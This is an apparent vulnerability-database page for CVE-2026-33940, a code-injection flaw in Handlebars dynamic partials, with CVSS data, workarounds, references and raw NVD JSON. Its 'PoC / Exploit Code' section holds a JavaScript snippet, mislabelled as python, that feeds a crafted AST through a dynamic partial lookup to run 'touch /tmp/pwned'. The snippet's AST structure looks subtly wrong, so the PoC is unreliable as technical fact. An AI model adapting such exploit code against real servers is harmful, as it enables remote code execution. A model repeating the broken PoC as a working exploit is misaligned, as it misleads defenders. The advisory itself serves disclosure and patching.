Security Vulnerability Report
中文
CVE-2026-33940 CVSS 8.1 HIGH

CVE-2026-33940

Published: 2026-03-27 22:16:21
Last Modified: 2026-03-31 17:51:04

Description

Handlebars provides the power necessary to let users build semantic templates. In versions 4.0.0 through 4.7.8, a crafted object placed in the template context can bypass all conditional guards in `resolvePartial()` and cause `invokePartial()` to return `undefined`. The Handlebars runtime then treats the unresolved partial as a source that needs to be compiled, passing the crafted object to `env.compile()`. Because the object is a valid Handlebars AST containing injected code, the generated JavaScript executes arbitrary commands on the server. The attack requires the adversary to control a value that can be returned by a dynamic partial lookup. Version 4.7.9 fixes the issue. Some workarounds are available. First, use the runtime-only build (`require('handlebars/runtime')`). Without `compile()`, the fallback compilation path in `invokePartial` is unreachable. Second, sanitize context data before rendering: Ensure no value in the context is a non-primitive object that could be passed to a dynamic partial. Third, avoid dynamic partial lookups (`{{> (lookup ...)}}`) when context data is user-controlled.

CVSS Details

CVSS Score
8.1
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:handlebarsjs:handlebars:*:*:*:*:*:node.js:*:* - VULNERABLE
Handlebars >= 4.0.0, <= 4.7.8

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
const Handlebars = require('handlebars'); // 1. Create a malicious AST object representing arbitrary code execution // This object mimics the structure of a compiled Handlebars template const maliciousAST = { type: 'Program', body: [ { type: 'MustacheStatement', path: { type: 'Identifier', name: 'exec' }, params: [ { type: 'StringLiteral', value: 'touch /tmp/pwned', // Arbitrary command to execute original: 'touch /tmp/pwned' } ], loc: {} } ], loc: {} }; // 2. Prepare the context with the malicious object // The attacker controls the value returned by the dynamic partial lookup const context = { lookupKey: 'payload', payload: maliciousAST // Injecting the malicious AST }; // 3. Compile a template that uses dynamic partial lookup // {{> (lookup ...) }} retrieves the value from context and treats it as a partial const templateSrc = '{{> (lookup . "lookupKey")}}'; const template = Handlebars.compile(templateSrc); // 4. Render the template // This triggers the vulnerability: invokePartial calls env.compile(maliciousAST) // resulting in the execution of the command specified in the AST. console.log('Executing PoC...'); try { template(context); console.log('PoC executed successfully. Check /tmp/pwned'); } catch (e) { console.error('Error:', e); }

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-33940", "sourceIdentifier": "[email protected]", "published": "2026-03-27T22:16:21.030", "lastModified": "2026-03-31T17:51:04.210", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Handlebars provides the power necessary to let users build semantic templates. In versions 4.0.0 through 4.7.8, a crafted object placed in the template context can bypass all conditional guards in `resolvePartial()` and cause `invokePartial()` to return `undefined`. The Handlebars runtime then treats the unresolved partial as a source that needs to be compiled, passing the crafted object to `env.compile()`. Because the object is a valid Handlebars AST containing injected code, the generated JavaScript executes arbitrary commands on the server. The attack requires the adversary to control a value that can be returned by a dynamic partial lookup. Version 4.7.9 fixes the issue. Some workarounds are available. First, use the runtime-only build (`require('handlebars/runtime')`). Without `compile()`, the fallback compilation path in `invokePartial` is unreachable. Second, sanitize context data before rendering: Ensure no value in the context is a non-primitive object that could be passed to a dynamic partial. Third, avoid dynamic partial lookups (`{{> (lookup ...)}}`) when context data is user-controlled."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.2, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-94"}, {"lang": "en", "value": "CWE-843"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:handlebarsjs:handlebars:*:*:*:*:*:node.js:*:*", "versionStartIncluding": "4.0.0", "versionEndExcluding": "4.7.9", "matchCriteriaId": "A9D1F9A7-8359-4C3F-9932-4A085094F388"}]}]}], "references": [{"url": "https://github.com/handlebars-lang/handlebars.js/commit/68d8df5a88e0a26fe9e6084c5c6aaebe67b07da2", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/handlebars-lang/handlebars.js/releases/tag/v4.7.9", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/handlebars-lang/handlebars.js/security/advisories/GHSA-xhpv-hc6g-r9c6", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}]}}